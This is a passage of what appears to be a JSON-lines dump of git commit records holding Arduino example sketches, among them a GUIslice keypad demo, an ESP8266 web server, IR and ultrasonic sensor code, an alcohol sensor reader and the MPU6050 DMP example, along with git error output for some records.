- If we have a popup active, pass the return value directly to\n \/\/ the corresponding value field\n if (nTargetElemId == E_TXT_VAL1) {\n gslc_ElemSetTxtStr(pGui, m_pElemVal1, gslc_ElemXKeyPadDataValGet(pGui, pvData));\n gslc_PopupHide(pGui);\n }\n else {\n \/\/ ERROR\n }\n break;\n case XKEYPAD_CB_STATE_CANCEL:\n \/\/ User escaped from popup, so don't update values\n gslc_PopupHide(pGui);\n break;\n\n case XKEYPAD_CB_STATE_UPDATE:\n \/\/ KeyPad was updated, so could optionally take action here\n break;\n\n default:\n break;\n }\n }\n return true;\n}\n\n\/\/<Draw Callback !Start!>\n\/\/<Draw Callback !End!>\n\/\/<Slider Callback !Start!>\n\/\/<Slider Callback !End!>\n\/\/<Tick Callback !Start!>\n\/\/<Tick Callback !End!>\n\n\/\/ ------------------------------------------------\n\/\/ Create page elements\n\/\/ ------------------------------------------------\nbool InitGUI()\n{\n gslc_tsElemRef* pElemRef = NULL;\n\n \/\/<InitGUI !Start!>\n gslc_PageAdd(&m_gui, E_PG_MAIN, m_asPage1Elem, MAX_ELEM_PG_MAIN_RAM, m_asPage1ElemRef, MAX_ELEM_PG_MAIN);\n gslc_PageAdd(&m_gui, E_POP_KEYPAD, m_asPopKeypadElem, MAX_ELEM_POP_KEYPAD_RAM, m_asPopKeypadElemRef, MAX_ELEM_POP_KEYPAD);\n\n \/\/ Background flat color\n gslc_SetBkgndColor(&m_gui, GSLC_COL_BLACK);\n\n \/\/ -----------------------------------\n \/\/ PAGE: E_PG_MAIN\n\n \/\/ Create GSLC_ID_AUTO text label\n pElemRef = gslc_ElemCreateTxt(&m_gui, GSLC_ID_AUTO, E_PG_MAIN, (gslc_tsRect) { 90, 10, 134, 32 },\n (char*)\"Alpha KeyPad\", 0, E_FONT_SANS2);\n gslc_ElemSetTxtCol(&m_gui, pElemRef, GSLC_COL_BLUE_LT4);\n\n \/\/ Create GSLC_ID_AUTO text label\n pElemRef = gslc_ElemCreateTxt(&m_gui, GSLC_ID_AUTO, E_PG_MAIN, (gslc_tsRect) { 20, 65, 62, 17 },\n (char*)\"Name:\", 0, E_FONT_TXT1);\n\n \/\/ Create E_TXT_VAL1 modifiable text label\n static char m_strtxt5[11] = \"\";\n pElemRef = gslc_ElemCreateTxt(&m_gui, E_TXT_VAL1, E_PG_MAIN, (gslc_tsRect) { 90, 65, 62+10, 17 },\n (char*)m_strtxt5, 11, E_FONT_TXT1);\n gslc_ElemSetCol(&m_gui, pElemRef, GSLC_COL_BLUE_DK1, GSLC_COL_BLACK, GSLC_COL_BLUE_DK4);\n gslc_ElemSetTxtCol(&m_gui, pElemRef, GSLC_COL_WHITE);\n gslc_ElemSetFrameEn(&m_gui, pElemRef, true);\n gslc_ElemSetTxtMargin(&m_gui, pElemRef, 5);\n gslc_ElemSetClickEn(&m_gui, pElemRef, true);\n gslc_ElemSetTouchFunc(&m_gui, pElemRef, &CbBtnCommon);\n m_pElemVal1 = pElemRef; \/\/ Save for later\n\n\n \/\/ -----------------------------------\n \/\/ PAGE: E_POP_KEYPAD\n static gslc_tsXKeyPadCfg_Alpha sCfg;\n sCfg = gslc_ElemXKeyPadCfgInit_Alpha();\n \/\/gslc_ElemXKeyPadCfgSetButtonSz((gslc_tsXKeyPadCfg*)&sCfg, 12, 25);\n m_pElemKeyPad = gslc_ElemXKeyPadCreate_Alpha(&m_gui, E_ELEM_KEYPAD, E_POP_KEYPAD,\n &m_sKeyPadAlpha, 50, 80, E_FONT_TXT1, &sCfg);\n gslc_ElemXKeyPadValSetCb(&m_gui, m_pElemKeyPad, &CbInputCommon);\n\n \/\/<InitGUI !End!>\n\n return true;\n}\n\nvoid setup()\n{\n \/\/ ------------------------------------------------\n \/\/ Initialize\n \/\/ ------------------------------------------------\n Serial.begin(9600);\n \/\/ Wait for USB Serial \n \/\/delay(1000); \/\/ NOTE: Some devices require a delay after Serial.begin() before serial port can be used\n\n gslc_InitDebug(&DebugOut);\n\n if (!gslc_Init(&m_gui, &m_drv, m_asPage, MAX_PAGE, m_asFont, MAX_FONT)) { return; }\n\n \/\/ Create the GUI input mapping (pin event to GUI action)\n gslc_InitInputMap(&m_gui, m_asInputMap, MAX_INPUT_MAP);\n gslc_InputMapAdd(&m_gui, GSLC_INPUT_PIN_DEASSERT, GSLC_PIN_BTN_A, GSLC_ACTION_FOCUS_PREV, 0);\n gslc_InputMapAdd(&m_gui, GSLC_INPUT_PIN_DEASSERT, GSLC_PIN_BTN_B, GSLC_ACTION_SELECT, 0);\n gslc_InputMapAdd(&m_gui, GSLC_INPUT_PIN_DEASSERT, GSLC_PIN_BTN_C, GSLC_ACTION_FOCUS_NEXT, 0);\n gslc_InputMapAdd(&m_gui, GSLC_INPUT_PIN_ASSERT, GSLC_PIN_BTN_A_LONG, GSLC_ACTION_SET_REL, -10);\n gslc_InputMapAdd(&m_gui, GSLC_INPUT_PIN_ASSERT, GSLC_PIN_BTN_C_LONG, GSLC_ACTION_SET_REL, +10);\n\n \/\/ ------------------------------------------------\n \/\/ Load Fonts\n \/\/ ------------------------------------------------\n \/\/<Load_Fonts !Start!>\n if (!gslc_FontSet(&m_gui, E_FONT_SANS2, GSLC_FONTREF_PTR, NULL, 1)) { return; }\n if (!gslc_FontSet(&m_gui,E_FONT_TXT1,GSLC_FONTREF_PTR,NULL,1)) { return; }\n \/\/<Load_Fonts !End!>\n\n \/\/ ------------------------------------------------\n \/\/ Create graphic elements\n \/\/ ------------------------------------------------\n InitGUI();\n\n \/\/ ------------------------------------------------\n \/\/ Save some element references for quick access\n \/\/ ------------------------------------------------\n \/\/<Quick_Access !Start!>\n \/\/<Quick_Access !End!>\n\n \/\/<Startup !Start!>\n \/\/ ------------------------------------------------\n \/\/ Start up display on first page\n \/\/ ------------------------------------------------\n gslc_SetPageCur(&m_gui, E_PG_MAIN);\n \/\/<Startup !End!>\n\n}\n\n\/\/ -----------------------------------\n\/\/ Main event loop\n\/\/ -----------------------------------\nvoid loop()\n{\n\n \/\/ ------------------------------------------------\n \/\/ Update GUI Elements\n \/\/ ------------------------------------------------\n\n\n \/\/ ------------------------------------------------\n \/\/ Periodically call GUIslice update function\n \/\/ ------------------------------------------------\n gslc_Update(&m_gui);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/m5stack\/ex27_m5_alpha\/ex27_m5_alpha.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aaf4e9e7c1019456bc05de0690a28ef1e29ccc3a","subject":"Example file","message":"Example file\n","repos":"jenschr\/LittleESPServer","old_file":"examples\/ESPServerTest\/ESPServerTest.ino","new_file":"examples\/ESPServerTest\/ESPServerTest.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include \"ESPServer.h\"\n\n\/\/ Note: Smaller Arduino boards such as the UNO should typically use SoftwareSerial\n\/\/ instead. Look here for instructions https:\/\/www.arduino.cc\/en\/Reference\/SoftwareSerial\nESPServer server = ESPServer( &Serial1 );\n\nString WLAN_SSID = \"YourSSID\"; \/\/ cannot be longer than 32 characters!\nString WLAN_PASS = \"YourPassword\";\n\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(115200); \/\/ Note: ESP modules that don't have updated firmware (1.1 or higher) will fail to init at this speed\n \n \/\/ Test that we can communicate with the ESP8266 module\n int rez = server.test();\n if(!rez)\n {\n Serial.println(\"test() failed. Check your connections.\");\n while(1);\n }\n Serial.println(\"test() was successful\");\n \n \/\/ Setup as one of the following:\n \/\/ STANDALONE - Access your ESP from the network\n \/\/ ACCESS_POINT - Access the ESP directly and get your own IP from it\n \/\/ STANDALONE_AND_AP - Enable both ways to access the ESP module\n Serial.print(\"begin() success? \");\n rez = server.begin(STANDALONE_AND_AP,80);\n Serial.println(rez);\n \n \/\/ Connect it to a Wifi access point\n Serial.print(\"connectToAP() success? \");\n server.connectToAP( WLAN_SSID, WLAN_PASS );\n Serial.println(rez);\n \n \/\/ Check status\n \/*\n 0 = STATUS_UNKNOWN\n 1 = STATUS_SCANNING\n 2 = STATUS_CONNECTED\n 3 = STATUS_CONNECTING\n 4 = STATUS_DISCONNECTED\n 5 = STATUS_INITIALIZING\n 6 = STATUS_CONNECTED_W_IP\n 7 = CIPMODE_ERROR\n 8 = CIPMUX_ERROR\n 9 = CIPSERVER_ERROR\n 10 = CWMODE_ERROR\n 11 = WIFI_CONNECT_ERROR\n \n 0-6 indicates normal operation\n 7-11 indicates what part of the init process that failed\n *\/\n Serial.print(\"getStatus(): \");\n rez = server.getStatus();\n Serial.println(rez);\n \n IPAddress ipAddress = {0,0,0,0};\n\n Serial.print(\"AP ip: \");\n server.getAPAddress( ipAddress ); \n Serial.println(ipAddress);\n \n Serial.print(\"Standalone ip: \");\n ipAddress = {0,0,0,0};\n \/\/while( ipAddress[0] == 0 )\n {\n server.getStandaloneAddress( ipAddress );\n Serial.println(ipAddress);\n delay(1000);\n int serverStatus = server.pollForStatus();\n Serial.print(\"serverStatus \");\n Serial.println(serverStatus);\n delay(1000);\n }\n}\n\nboolean parseItYourself = false;\nchar theURL[255] = {};\n\nvoid loop(){\n while( server.available() )\n {\n int clientID = server.clientID();\n \/\/ calc time\n \n \n \/\/ to parse the request yourself, read back the buffer\n if( parseItYourself )\n {\n char ret = server.read();\n Serial.print(ret);\n \/\/ this will just read out whatever the ESP sends\n } else if( clientID == 0 ){\n \/\/ We're passing in a char array that will be filled with the URL requested\n server.pathRequested( theURL );\n \/\/ Build the return page\n String baseText = \"Heya! Thanks for requesting \";\n baseText += theURL;\n baseText += \"<br>We've been up and running for \";\n baseText += makeTimeString();\n baseText += \"!\";\n String page = makeBasePage(\"Hello world!\", baseText);\n server.send( clientID, page );\n }\n }\n \n delay(20);\n}\n\nString makeBasePage( String title, String content){\n String page = \"\";\n page += \"HTTP\/1.1 200 OK\\r\\n\";\n page += \"Content-Type: text\/html\\r\\n\";\n page += \"Connection: close\\r\\n\";\n page += \"Server: BitmartSign\\r\\n\";\n page += \"Refresh: 5\\r\\n\";\n \/\/ Send an empty line to signal start of body.\n page += \"\\r\\n\";\n \/\/ Now send the response data.\n page += \"<html><head><title>\";\n page += title;\n page += \"<\/title>\\r\\n\";\n page += \"<meta name='viewport' content='width=device-width, initial-scale=1.0'>\\r\\n\";\n page += \"<\/head><body>\\r\\n\";\n page += content;\n page += \"<\/body><html>\\r\\n\\r\\n\";\n return page;\n}\n\nString makeTimeString(){\n int temp = 0;\n int seconds = 0;\n int minutes = 0;\n int hours = 0;\n int days = 0;\n \n temp = millis();\n days = temp\/1000\/60\/60\/24;\n temp -= days*1000*60*60*24;\n hours = temp\/1000\/60\/60;\n temp -= hours*1000*60*60;\n minutes = temp\/1000\/60;\n temp -= minutes*1000*60;\n seconds = temp\/1000;\n \n String baseText = \"\";\n if( days > 0 ){\n baseText += days;\n baseText += \" days \";\n }\n if( hours > 0 ){\n baseText += hours;\n baseText += \" hours \";\n }\n if( minutes > 0 ){\n baseText += minutes;\n baseText += \" minutes \";\n }\n if( seconds > 0 ){\n baseText += seconds;\n baseText += \" seconds \";\n }\n return baseText;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESPServerTest\/ESPServerTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17bfb3c5db2d15818a37e66301b1dac7d7c3b3dc","subject":"Update SparkFunMPL3115A2_Example.ino","message":"Update SparkFunMPL3115A2_Example.ino","repos":"jacealot\/SparkFun_MPL3115A2_Particle_Library,sparkfun\/SparkFun_MPL3115A2_Particle_Library","old_file":"firmware\/examples\/SparkFunMPL3115A2_Example.ino","new_file":"firmware\/examples\/SparkFunMPL3115A2_Example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jacealot\/SparkFun_MPL3115A2_Particle_Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5fbcfc13c0c5c33874cab7ddb006b17ca56f32a7","subject":"Complete rewrite, having learned a lot from developing testTimerTwo and testInterrupts2. It compiles -- that means it'll work, right? Hah! I'll test later.","message":"Complete rewrite, having learned a lot from developing testTimerTwo and testInterrupts2. It compiles -- that means it'll work, right? Hah! I'll test later.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dc7cebcf959cc1a06233b599b7a4b3ba9db7d059","subject":"","message":"\n\nserialmotorcontrol","repos":"electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino","old_file":"SerialMotorControl\/SerialMotorControl.ino","new_file":"SerialMotorControl\/SerialMotorControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/electronicplayground\/ep-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"88fd965a5ed2cd2fd809904929eec088f5fbf29d","subject":"initial commit of the arduino code. This should be broken into different classes, but this is an example.","message":"initial commit of the arduino code. This should be broken into different classes, but this is an example.\n","repos":"PeridotYouClod\/gRPC-Makerboards,PeridotYouClod\/gRPC-Makerboards,PeridotYouClod\/gRPC-Makerboards","old_file":"SevenSegment_UltrasonicRangeFinder_IR.ino","new_file":"SevenSegment_UltrasonicRangeFinder_IR.ino","new_contents":"#include \"IRremote.h\"\n#include <SindormirSevenSegments.h>\n#include <Ultrasonic.h>\n\n\n\/\/seven segment setup\nSindormir7segs mi7S;\n\n\/\/ir receiver setup\nint IrReceiverPin = 11; \nIRrecv irrecv(IrReceiverPin); \ndecode_results results; \n\n\/\/ultrasonic range finder setup\nint triggerPin = 10; \nint echoPin = 9; \nint maxDistance = 375; \nUltrasonic sonar(triggerPin, echoPin); \n\nvoid setup() \n{\n Serial.begin(9600);\n \n irrecv.enableIRIn(); \/\/ Start the IrReceiverPin\n \n mi7S.commonType(CATODO);\n \/\/2-8 are the pins this is hooked into on arduino\n mi7S.attach(2,3,4,5,6,7,8,0);\/\/didnt setup the . so put it to 0\n}\n\n\nvoid loop() \n{ \n int irVal = getIrValue();\n int sonarVal = sonar.Ranging(CM);\n if(irVal != -1) {\n mi7S.print(irVal);\n Serial.println(irVal + 1);\n Serial.println(sonarVal);\n }\n \n delay(100);\/\/10 times a second seems like enough\n}\n\n\/\/get the value from the ir sensor.\nint getIrValue() {\n int irVal = -1;\n if (irrecv.decode(&results)) \/\/ have we received an IR signal?\n {\n irVal = translateIR();\n irrecv.resume(); \/\/ receive the next value\n } \n return irVal;\n}\n\n\/\/ takes in the code from the remote and gives back a number\nint translateIR(){\n\n switch(results.value)\n\n {\n case 0xFFE01F: \n return 10;\n \n case 0xFFA857: \n return 11;\n \n case 0xFF906F: \n return 12; \n \n case 0xFF6897: \n return 0; \n \n case 0xFF9867: \n return 13;\n \n case 0xFFB04F: \n return 14;\n \n case 0xFF30CF: \n return 1; \n \n case 0xFF18E7: \n return 2; \n \n case 0xFF7A85: \n return 3; \n \n case 0xFF10EF: \n return 4; \n \n case 0xFF38C7: \n return 5; \n \n case 0xFF5AA5: \n return 6; \n \n case 0xFF42BD: \n return 7; \n \n case 0xFF4AB5: \n return 8; \n \n case 0xFF52AD: \n return 9; \n \n default: \n \/\/Serial.println(\" other button \");\n return -1;\n }\n \n \/\/reset the device \n delay(25);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SevenSegment_UltrasonicRangeFinder_IR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b6b05c41345be2c00e59c67e5df8ff582cf18c5","subject":"Initial arduino sketch","message":"Initial arduino sketch\n","repos":"godstale\/Arduino-Serial-Controller","old_file":"Arduino\/alcohol_sensor\/alcohol_sensor.ino","new_file":"Arduino\/alcohol_sensor\/alcohol_sensor.ino","new_contents":"#define COUNT_MAX 10\nint index = 0;\nfloat values[COUNT_MAX];\n\nvoid setup() {\n Serial.begin(9600);\n \n initialize();\n delay(3000);\n}\n\nvoid loop() {\n float vol;\n int sensorValue = analogRead(A0); \/\/ read data\n values[index] = sensorValue;\n \n \/\/ calc average and display value\n if(index >= COUNT_MAX - 1) {\n float average = calcAverage();\n float bac = pow(((-3.757)*pow(10, -7))*average, 2) + 0.0008613*average -0.3919;\n \n Serial.print(\"a\");\n Serial.print(bac, 4);\n Serial.print(\"z\");\n \n index=0;\n } else {\n index++;\n }\n \n delay(100); \/\/ prepare next read\n}\n\nvoid initialize() {\n for(int i=0; i<COUNT_MAX; i++) {\n values[i] = 0;\n }\n}\n\nfloat calcAverage() {\n float avg = 0;\n for(int i=0; i<COUNT_MAX; i++) {\n avg += values[i];\n }\n avg = avg \/ COUNT_MAX;\n return avg;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/alcohol_sensor\/alcohol_sensor.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0677716a77b0ce3ae2d7a58ecf3ca724e47cfbca","subject":"[Arduino] i2cdevlib MPU6050 example outputting readable yaw\/pitch\/roll.","message":"[Arduino] i2cdevlib MPU6050 example outputting readable yaw\/pitch\/roll.\n\nSigned-off-by: Juri Berlanda <5bfdca9e82c53adb0603ce7083f4ba4f2da5cacf@hotmail.com>\n","repos":"j-be\/vj-flight-controller,j-be\/vj-flight-controller,j-be\/vj-flight-controller","old_file":"Arduino\/vj-flight-controller.ino","new_file":"Arduino\/vj-flight-controller.ino","new_contents":"\/\/ I2C device class (I2Cdev) demonstration Arduino sketch for MPU6050 class using DMP (MotionApps v2.0)\n\/\/ 6\/21\/2012 by Jeff Rowberg <jeff@rowberg.net>\n\/\/ Updates should (hopefully) always be available at https:\/\/github.com\/jrowberg\/i2cdevlib\n\/\/\n\/\/ Changelog:\n\/\/ 2013-05-08 - added seamless Fastwire support\n\/\/ - added note about gyro calibration\n\/\/ 2012-06-21 - added note about Arduino 1.0.1 + Leonardo compatibility error\n\/\/ 2012-06-20 - improved FIFO overflow handling and simplified read process\n\/\/ 2012-06-19 - completely rearranged DMP initialization code and simplification\n\/\/ 2012-06-13 - pull gyro and accel data from FIFO packet instead of reading directly\n\/\/ 2012-06-09 - fix broken FIFO read sequence and change interrupt detection to RISING\n\/\/ 2012-06-05 - add gravity-compensated initial reference frame acceleration output\n\/\/ - add 3D math helper file to DMP6 example sketch\n\/\/ - add Euler output and Yaw\/Pitch\/Roll output formats\n\/\/ 2012-06-04 - remove accel offset clearing for better results (thanks Sungon Lee)\n\/\/ 2012-06-01 - fixed gyro sensitivity to be 2000 deg\/sec instead of 250\n\/\/ 2012-05-30 - basic DMP initialization working\n\n\/* ============================================\nI2Cdev device library code is placed under the MIT license\nCopyright (c) 2012 Jeff Rowberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n===============================================\n*\/\n\n\/\/ I2Cdev and MPU6050 must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"I2Cdev.h\"\n\n#include \"MPU6050_6Axis_MotionApps20.h\"\n\/\/#include \"MPU6050.h\" \/\/ not necessary if using MotionApps include file\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n #include \"Wire.h\"\n#endif\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for SparkFun breakout and InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu;\n\/\/MPU6050 mpu(0x69); \/\/ <-- use for AD0 high\n\n\/* =========================================================================\n NOTE: In addition to connection 3.3v, GND, SDA, and SCL, this sketch\n depends on the MPU-6050's INT pin being connected to the Arduino's\n external interrupt #0 pin. On the Arduino Uno and Mega 2560, this is\n digital I\/O pin 2.\n * ========================================================================= *\/\n\n\/* =========================================================================\n NOTE: Arduino v1.0.1 with the Leonardo board generates a compile error\n when using Serial.write(buf, len). The Teapot output uses this method.\n The solution requires a modification to the Arduino USBAPI.h file, which\n is fortunately simple, but annoying. This will be fixed in the next IDE\n release. For more info, see these links:\n\n http:\/\/arduino.cc\/forum\/index.php\/topic,109987.0.html\n http:\/\/code.google.com\/p\/arduino\/issues\/detail?id=958\n * ========================================================================= *\/\n\n\n\n\/\/ uncomment \"OUTPUT_READABLE_QUATERNION\" if you want to see the actual\n\/\/ quaternion components in a [w, x, y, z] format (not best for parsing\n\/\/ on a remote host such as Processing or something though)\n\/\/#define OUTPUT_READABLE_QUATERNION\n\n\/\/ uncomment \"OUTPUT_READABLE_EULER\" if you want to see Euler angles\n\/\/ (in degrees) calculated from the quaternions coming from the FIFO.\n\/\/ Note that Euler angles suffer from gimbal lock (for more info, see\n\/\/ http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n\/\/#define OUTPUT_READABLE_EULER\n\n\/\/ uncomment \"OUTPUT_READABLE_YAWPITCHROLL\" if you want to see the yaw\/\n\/\/ pitch\/roll angles (in degrees) calculated from the quaternions coming\n\/\/ from the FIFO. Note this also requires gravity vector calculations.\n\/\/ Also note that yaw\/pitch\/roll angles suffer from gimbal lock (for\n\/\/ more info, see: http:\/\/en.wikipedia.org\/wiki\/Gimbal_lock)\n#define OUTPUT_READABLE_YAWPITCHROLL\n\n\/\/ uncomment \"OUTPUT_READABLE_REALACCEL\" if you want to see acceleration\n\/\/ components with gravity removed. This acceleration reference frame is\n\/\/ not compensated for orientation, so +X is always +X according to the\n\/\/ sensor, just without the effects of gravity. If you want acceleration\n\/\/ compensated for orientation, us OUTPUT_READABLE_WORLDACCEL instead.\n\/\/#define OUTPUT_READABLE_REALACCEL\n\n\/\/ uncomment \"OUTPUT_READABLE_WORLDACCEL\" if you want to see acceleration\n\/\/ components with gravity removed and adjusted for the world frame of\n\/\/ reference (yaw is relative to initial orientation, since no magnetometer\n\/\/ is present in this case). Could be quite handy in some cases.\n\/\/#define OUTPUT_READABLE_WORLDACCEL\n\n\/\/ uncomment \"OUTPUT_TEAPOT\" if you want output that matches the\n\/\/ format used for the InvenSense teapot demo\n\/\/#define OUTPUT_TEAPOT\n\n\n\n#define LED_PIN 13 \/\/ (Arduino is 13, Teensy is 11, Teensy++ is 6)\nbool blinkState = false;\n\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\n\/\/ packet structure for InvenSense teapot demo\nuint8_t teapotPacket[14] = { '$', 0x02, 0,0, 0,0, 0,0, 0,0, 0x00, 0x00, '\\r', '\\n' };\n\n\n\n\/\/ ================================================================\n\/\/ === INTERRUPT DETECTION ROUTINE ===\n\/\/ ================================================================\n\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\nvoid dmpDataReady() {\n mpuInterrupt = true;\n}\n\n\n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n Wire.begin();\n TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n Fastwire::setup(400, true);\n #endif\n\n \/\/ initialize serial communication\n \/\/ (115200 chosen because it is required for Teapot Demo output, but it's\n \/\/ really up to you depending on your project)\n Serial.begin(115200);\n while (!Serial); \/\/ wait for Leonardo enumeration, others continue immediately\n\n \/\/ NOTE: 8MHz or slower host processors, like the Teensy @ 3.3v or Ardunio\n \/\/ Pro Mini running at 3.3v, cannot handle this baud rate reliably due to\n \/\/ the baud timing being too misaligned with processor ticks. You must use\n \/\/ 38400 or slower in these cases, or use some kind of external separate\n \/\/ crystal solution for the UART timer.\n\n \/\/ initialize device\n Serial.println(F(\"Initializing I2C devices...\"));\n mpu.initialize();\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(mpu.testConnection() ? F(\"MPU6050 connection successful\") : F(\"MPU6050 connection failed\"));\n\n \/\/ wait for ready\n Serial.println(F(\"\\nSend any character to begin DMP programming and demo: \"));\n while (Serial.available() && Serial.read()); \/\/ empty buffer\n while (!Serial.available()); \/\/ wait for data\n while (Serial.available() && Serial.read()); \/\/ empty buffer again\n\n \/\/ load and configure the DMP\n Serial.println(F(\"Initializing DMP...\"));\n devStatus = mpu.dmpInitialize();\n\n \/\/ supply your own gyro offsets here, scaled for min sensitivity\n mpu.setXGyroOffset(220);\n mpu.setYGyroOffset(76);\n mpu.setZGyroOffset(-85);\n mpu.setZAccelOffset(1788); \/\/ 1688 factory default for my test chip\n\n \/\/ make sure it worked (returns 0 if so)\n if (devStatus == 0) {\n \/\/ turn on the DMP, now that it's ready\n Serial.println(F(\"Enabling DMP...\"));\n mpu.setDMPEnabled(true);\n\n \/\/ enable Arduino interrupt detection\n Serial.println(F(\"Enabling interrupt detection (Arduino external interrupt 0)...\"));\n attachInterrupt(digitalPinToInterrupt(2), dmpDataReady, RISING);\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n Serial.println(F(\"DMP ready! Waiting for first interrupt...\"));\n dmpReady = true;\n\n \/\/ get expected DMP packet size for later comparison\n packetSize = mpu.dmpGetFIFOPacketSize();\n } else {\n \/\/ ERROR!\n \/\/ 1 = initial memory load failed\n \/\/ 2 = DMP configuration updates failed\n \/\/ (if it's going to break, usually the code will be 1)\n Serial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n }\n\n \/\/ configure LED for output\n pinMode(LED_PIN, OUTPUT);\n}\n\n\n\n\/\/ ================================================================\n\/\/ === MAIN PROGRAM LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n \/\/ if programming failed, don't try to do anything\n if (!dmpReady) return;\n\n \/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize) {\n \/\/ other program behavior stuff here\n \/\/ .\n \/\/ .\n \/\/ .\n \/\/ if you are really paranoid you can frequently test in between other\n \/\/ stuff to see if mpuInterrupt is true, and if so, \"break;\" from the\n \/\/ while() loop to immediately process the MPU data\n \/\/ .\n \/\/ .\n \/\/ .\n }\n\n \/\/ reset interrupt flag and get INT_STATUS byte\n mpuInterrupt = false;\n mpuIntStatus = mpu.getIntStatus();\n\n \/\/ get current FIFO count\n fifoCount = mpu.getFIFOCount();\n\n \/\/ check for overflow (this should never happen unless our code is too inefficient)\n if ((mpuIntStatus & 0x10) || fifoCount == 1024) {\n \/\/ reset so we can continue cleanly\n mpu.resetFIFO();\n Serial.println(F(\"FIFO overflow!\"));\n\n \/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n } else if (mpuIntStatus & 0x02) {\n \/\/ wait for correct available data length, should be a VERY short wait\n while (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \/\/ read a packet from FIFO\n mpu.getFIFOBytes(fifoBuffer, packetSize);\n \n \/\/ track FIFO count here in case there is > 1 packet available\n \/\/ (this lets us immediately read more without waiting for an 